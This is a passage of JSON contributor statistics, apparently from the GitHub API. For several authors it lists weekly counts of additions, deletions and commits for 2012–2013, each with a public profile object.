:1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"MarkRoddy","id":346362,"avatar_url":"https://1.gravatar.com/avatar/ac25b3f7bf1399399a6ad4cefea84bc6?d=https%3A%2F%2Fidenticons.github.com%2Fbede8b7e558b20a4e62f6e9ec2b4233c.png&r=x","gravatar_id":"ac25b3f7bf1399399a6ad4cefea84bc6","url":"https://api.github.com/users/MarkRoddy","html_url":"https://github.com/MarkRoddy","followers_url":"https://api.github.com/users/MarkRoddy/followers","following_url":"https://api.github.com/users/MarkRoddy/following{/other_user}","gists_url":"https://api.github.com/users/MarkRoddy/gists{/gist_id}","starred_url":"https://api.github.com/users/MarkRoddy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarkRoddy/subscriptions","organizations_url":"https://api.github.com/users/MarkRoddy/orgs","repos_url":"https://api.github.com/users/MarkRoddy/repos","events_url":"https://api.github.com/users/MarkRoddy/events{/privacy}","received_events_url":"https://api.github.com/users/MarkRoddy/received_events","type":"User","site_admin":false}},{"total":2,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":4,"d":4,"c":1},{"w":1347753600,"a":8,"d":1,"c":1},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"quixotique","id":1477470,"avatar_url":"https://2.gravatar.com/avatar/806d200fb8f92bd618cc7063a3b62013?d=https%3A%2F%2Fidenticons.github.com%2Fc1ed715aaa8d11a2cb0bbc69d34c143d.png&r=x","gravatar_id":"806d200fb8f92bd618cc7063a3b62013","url":"https://api.github.com/users/quixotique","html_url":"https://github.com/quixotique","followers_url":"https://api.github.com/users/quixotique/followers","following_url":"https://api.github.com/users/quixotique/following{/other_user}","gists_url":"https://api.github.com/users/quixotique/gists{/gist_id}","starred_url":"https://api.github.com/users/quixotique/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/quixotique/subscriptions","organizations_url":"https://api.github.com/users/quixotique/orgs","repos_url":"https://api.github.com/users/quixotique/repos","events_url":"https://api.github.com/users/quixotique/events{/privacy}","received_events_url":"https://api.github.com/users/quixotique/received_events","type":"User","site_admin":false}},{"total":2,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":7,"d":5,"c":2},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"xobb1t","id":344095,"avatar_url":"https://1.gravatar.com/avatar/ae8a2af3de601885a14bb71240e5d1a6?d=https%3A%2F%2Fidenticons.github.com%2Fe4df5371d23e44386065662dea04f5c7.png&r=x","gravatar_id":"ae8a2af3de601885a14bb71240e5d1a6","url":"https://api.github.com/users/xobb1t","html_url":"https://github.com/xobb1t","followers_url":"https://api.github.com/users/xobb1t/followers","following_url":"https://api.github.com/users/xobb1t/following{/other_user}","gists_url":"https://api.github.com/users/xobb1t/gists{/gist_id}","starred_url":"https://api.github.com/users/xobb1t/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/xobb1t/subscriptions","organizations_url":"https://api.github.com/users/xobb1t/orgs","repos_url":"https://api.github.com/users/xobb1t/repos","events_url":"https://api.github.com/users/xobb1t/events{/privacy}","received_events_url":"https://api.github.com/users/xobb1t/received_events","type":"User","site_admin":false}},{"total":2,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":9,"d":0,"c":1},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":24,"d":0,"c":1},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"mstead","id":218800,"avatar_url":"https://1.gravatar.com/avatar/cff2de4d58af775ba0a07a5332b57889?d=https%3A%2F%2Fidenticons.github.com%2Fc19a94c62cb3b527793b785a90f9cacb.png&r=x","gravatar_id":"cff2de4d58af775ba0a07a5332b57889","url":"https://api.github.com/users/mstead","html_url":"https://github.com/mstead","followers_url":"https://api.github.com/users/mstead/followers","following_url":"https://api.github.com/users/mstead/following{/other_user}","gists_url":"https://api.github.com/users/mstead/gists{/gist_id}","starred_url":"https://api.github.com/users/mstead/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mstead/subscriptions","organizations_url":"https://api.github.com/users/mstead/orgs","repos_url":"https://api.github.com/users/mstead/repos","events_url":"https://api.github.com/users/mstead/events{/privacy}","received_events_url":"https://api.github.com/users/mstead/received_events","type":"User","site_admin":false}},{"total":3,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":7,"d":5,"c":3},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"jjh42","id":371038,"avatar_url":"https://0.gravatar.com/avatar/cb8c9ca8f00c7885b3299be73808a6a6?d=https%3A%2F%2Fidenticons.github.com%2Fc9a9f59d82ed44b5a024b650785cb6c5.png&r=x","gravatar_id":"cb8c9ca8f00c7885b3299be73808a6a6","url":"https://api.github.com/users/jjh42","html_url":"https://github.com/jjh42","followers_url":"https://api.github.com/users/jjh42/followers","following_url":"https://api.github.com/users/jjh42/following{/other_user}","gists_url":"https://api.github.com/users/jjh42/gists{/gist_id}","starred_url":"https://api.github.com/users/jjh42/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jjh42/subscriptions","organizations_url":"https://api.github.com/users/jjh42/orgs","repos_url":"https://api.github.com/users/jjh42/repos","events_url":"https://api.github.com/users/jjh42/events{/privacy}","received_events_url":"https://api.github.com/users/jjh42/received_events","type":"User","site_admin":false}},{"total":5,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":12,"d":2,"c":1},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":127,"d":12,"c":4},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"davidbrai","id":351026,"avatar_url":"https://0.gravatar.com/avatar/9578c2ff5952aa1ed1a4db215f20c286?d=https%3A%2F%2Fidenticons.github.com%2F59617ff4a420f7e310d16e097f2067ac.png&r=x","gravatar_id":"9578c2ff5952aa1ed1a4db215f20c286","url":"https://api.github.com/users/davidbrai","html_url":"https://github.com/davidbrai","followers_url":"https://api.github.com/users/davidbrai/followers","following_url":"https://api.github.com/users/davidbrai/following{/other_user}","gists_url":"https://api.github.com/users/davidbrai/gists{/gist_id}","starred_url":"https://api.github.com/users/davidbrai/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/davidbrai/subscriptions","organizations_url":"https://api.github.com/users/davidbrai/orgs","repos_url":"https://api.github.com/users/davidbrai/repos","events_url":"https://api.github.com/users/davidbrai/events{/privacy}","received_events_url":"https://api.github.com/users/davidbrai/received_events","type":"User","site_admin":false}},{"total":18,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":13